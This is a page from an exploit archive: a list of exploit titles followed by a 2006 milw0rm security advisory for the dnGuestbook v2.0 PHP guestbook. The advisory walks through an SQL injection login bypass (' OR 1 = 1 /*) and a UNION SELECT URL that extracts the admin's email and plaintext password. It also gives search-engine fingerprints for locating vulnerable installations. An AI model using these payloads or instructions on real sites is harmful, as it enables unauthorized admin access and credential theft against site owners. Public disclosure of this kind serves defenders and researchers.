477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
79 lines
3.3 KiB
Text
Executable file
79 lines
3.3 KiB
Text
Executable file
#####################################################
|
|
# \_______________________________________________/ #
|
|
# | | #
|
|
# | | #
|
|
# | SECURITY ADVISORY | #
|
|
# | | #
|
|
# | | #
|
|
# /¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\ #
|
|
#####################################################
|
|
|
|
|
|
|
|
advisory: dnGuestbook <= v2.0 remote sql injection vulnerability
|
|
release: 2006-04-08
|
|
author: snatcher [snatcher at gmx.ch]
|
|
country: switzerland |+|
|
|
|
|
application: dnGuestbook <= v2.0
|
|
download: http://www.designnation.de/
|
|
app.descript: a php / mysql based guestbook script with an admin panel
|
|
|
|
description: because of the false implemented userinputs you can login as admin with a simpel sql injection.
|
|
afterward you can exploit a not validated GET variable to get admin's email and password.
|
|
fingerprint: google -> "dnGuestbook by design-nation.de Version" -> 331
|
|
msn -> "dnGuestbook by design-nation.de Version" -> 249
|
|
conditions: php.ini -> magic_quotes_gpc = Off
|
|
greets: all security guys and coders over the world, honkey :>, ..
|
|
|
|
|
|
|
|
---------- LOGIN AS ADMIN ----------
|
|
|
|
admin.php - line 771, 772
|
|
$result = mysql_query ("SELECT * FROM dnguestbook_user WHERE mail='$mail' AND passwort='$passwort';");
|
|
$eingeloggt = mysql_num_rows($result);
|
|
|
|
if magic_quotes_gpc is off, the ' won't be escaped and you can inject malicious sql code here.
|
|
the script only verifies if a result is given back, and doesn't check, if the entered email and
|
|
password are the same like the email and password in the database.
|
|
|
|
you gonna log in with following username (the password isn't necessary):
|
|
|
|
E-Mail: ' OR 1 = 1 /*
|
|
Passwort: b0000m
|
|
|
|
the query would look like this:
|
|
|
|
SELECT * FROM dnguestbook_user WHERE mail='' OR 1 = 1 /* AND passwort='b0000m'
|
|
|
|
the expression "/*" comments out the following part of the query.
|
|
the query will match always, because the WHERE - clause with "OR 1 = 1" is always true.
|
|
|
|
now you are logged in as admin. how will you get the admin password?
|
|
|
|
|
|
---------- GET ADMIN PASSWORD ----------
|
|
|
|
in the adminpanel, you click the link "Beiträge". after that, you click the [e] right of a guestbook
|
|
entry. it doesn't matter which entry you choose. normally, you can edit here some guestbok entries.
|
|
the uri will look like this:
|
|
|
|
http://yourhost.com/path_to_gb/admin.php?gbgo=edit&id=8
|
|
|
|
two variables are transmitted over GET but only "id=8" is relevant for us.
|
|
|
|
admin.php - line 678
|
|
$result = mysql_query ("SELECT * FROM dnguestbook_eintrag WHERE id=$id;");
|
|
|
|
you see, that the variable "id" isn't validated. you can inject malicious sql code again.
|
|
we make use of the UNION operator.
|
|
|
|
http://yourhost.com/path_to_gb/admin.php?gbgo=edit&id=-999%20union%20select%200,passwort,0,mail,mail,mail,mail,0,0,passwort%20from%20dnguestbook_user
|
|
|
|
the admin's email is shown in the field "*Ihre E-Mail:" and the admin's password in the field "*Ihr Text:" (plaintext !!)
|
|
|
|
description of the UNION operator:
|
|
http://dev.mysql.com/doc/refman/5.0/en/union.html
|
|
|
|
# milw0rm.com [2006-04-09]
|